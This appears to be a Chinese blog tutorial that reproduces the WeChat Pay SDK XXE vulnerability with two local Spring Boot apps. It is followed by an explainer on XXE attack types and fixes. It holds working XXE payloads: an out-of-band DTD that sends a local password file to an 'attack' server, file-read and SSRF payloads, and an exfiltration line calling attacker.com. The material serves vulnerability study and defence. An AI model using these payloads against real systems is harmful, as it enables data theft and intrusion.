微信XXE漏洞复现

7月4号微信SDK曝出漏洞,现在回现漏洞出现的过程,以下方式用JAVA 的SpringBoot实现。

强调:只是技术研究,不准用于非法途径。熟悉了这些漏洞才能让系统更健壮

有两个工程,一个是模拟商户端的server,有一个支持微信回调的接口;一个是攻击方的server,有一个可以接收请求的方法。

  1. 创建一个商家的springboot工程,端口8080
  2. 配置springboot可以访问静态文件,pom.xml中引入thymeleaf即可
<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
  1. 在resource下创建static/xxe.dtd,内容为
<!ENTITY % shell "<!ENTITY &#37; upload SYSTEM 'http://127.0.0.1:9080/attack/?file=%file;'> ">
%shell; 
%upload;

以上http地址是攻击者的服务器地址

  1. 以下是商家controller的代码
@RestController
@RequestMapping("/wxpay")
public class WxPayController {
    @PostMapping(value = "notify", consumes = "text/xml")
	public ResponseEntity wechatNotify(@RequestBody String notifyContent, HttpServletRequest request, HttpServletResponse response) {
		wxPayService.notifyAfterPay(notifyContent)
		return ResponseEntity.ok().build();
	}
}

wxPayService就是Wx sdk里面的WxPay的调用processResponseXml的方式,就是解析转换XML作用的

  1. 创建attach的工程,端口9080
  2. 创建接收攻击后请求的方法
@RestController
@RequestMapping("/attack")
public class AttackController {
    @RequestMapping("/")
	public void test(String file,HttpServletRequest req) {
		Map<String, String[]> parameterMap = req.getParameterMap();
		parameterMap.forEach((x,y) -> System.out.println("x:"+x+";y"+y));
	}
}

file就是上面xxe.dtd的请求。

  1. 在程序运行磁盘根目录下创建etc文件夹,password文件,就好比linux服务器的/etc/password
  2. 运行两个程序 访问8080的wxpay/notify,以下是body
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
	<!ENTITY % file SYSTEM "file:///etc/password">
	<!ENTITY % xxe SYSTEM "http://127.0.0.1:8080/xxe.dtd">
	%xxe;
]>

  1. 在attack的controller里面就可以看到file参数,就也是password里面的内容
  2. [https://www.cnblogs.com/tongwen/p/5194483.html]此文章很好的讲述了XXE攻击,感谢[www.cnblogs.com/kismetv/p/9266224.html]的作者
### XXE(XML External Entity)漏洞复现步骤及利用示例 XXE(XML External Entity)漏洞通常出现在应用程序解析 XML 输入时,未正确处理外部实体引用,从而导致潜在的敏感数据泄露、服务器端请求伪造(SSRF)等攻击。以下是复现 XXE 漏洞的典型步骤及利用示例。 #### 1. 漏洞复现环境搭建 为了复现 XXE 漏洞,需准备一个能够解析 XML 并支持外部实体的解析器。例如,使用 Python 的 `xml.etree.ElementTree` 或 Java 的 `DocumentBuilderFactory` 等库。搭建一个简单的 Web 应用,接收 XML 输入并解析。 #### 2. 基础 XXE 利用示例 最基本的 XXE 攻击是通过定义外部实体读取本地文件。例如: ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> ``` 当服务端解析该 XML 时,会读取 `/etc/passwd` 文件内容,并可能将其返回给攻击者[^4]。 #### 3. 带外数据(OOB)利用方式 在某些情况下,服务器不会直接返回解析结果,此时可以通过带外数据(Out-of-Band)方式将数据发送到攻击者控制的服务器。例如: ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % remote SYSTEM "http://attacker.com/xxe?data=%file;"> %remote; ]> <root/> ``` 该 payload 会尝试读取 `/etc/passwd` 文件,并将其作为参数发送到攻击者控制的 `http://attacker.com/xxe`,从而实现数据窃取[^4]。 #### 4. XXE 目录遍历攻击 通过 XXE 漏洞,还可以尝试列出服务器上的目录内容。虽然实际中受限于文件系统权限,但理论上可以构造如下 payload: ```xml <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/"> <!ENTITY % eval "<!ENTITY % directory SYSTEM 'file:///%file;'>"> %eval; %directory; ]> <test>&directory;</test> ``` 此 payload 会尝试读取 `/etc/` 目录内容,并通过外部实体将其内容外带[^1]。 #### 5. XXE 与 SSRF 结合攻击 XXE 还可用于 SSRF(Server Side Request Forgery)攻击,访问内网资源或远程服务器。例如: ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/internal-api"> ]> <root>&xxe;</root> ``` 此 payload 会向本地 `8080` 端口发起请求,获取内网服务的响应内容[^4]。 #### 6. XXE 修复建议 为了防止 XXE 漏洞,建议采取以下措施: - **禁用外部实体解析**:在 XML 解析器中禁用 DTD(Document Type Definitions)和外部实体。 - **使用安全的解析库**:避免使用易受攻击的 XML 解析器,改用 JSON 等更安全的数据格式。 - **输入验证与过滤**:对用户输入进行严格验证,拒绝包含 XML 特殊字符的输入。 - **最小权限原则**:确保运行 XML 解析器的进程使用最小权限账户,防止攻击者读取敏感文件。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值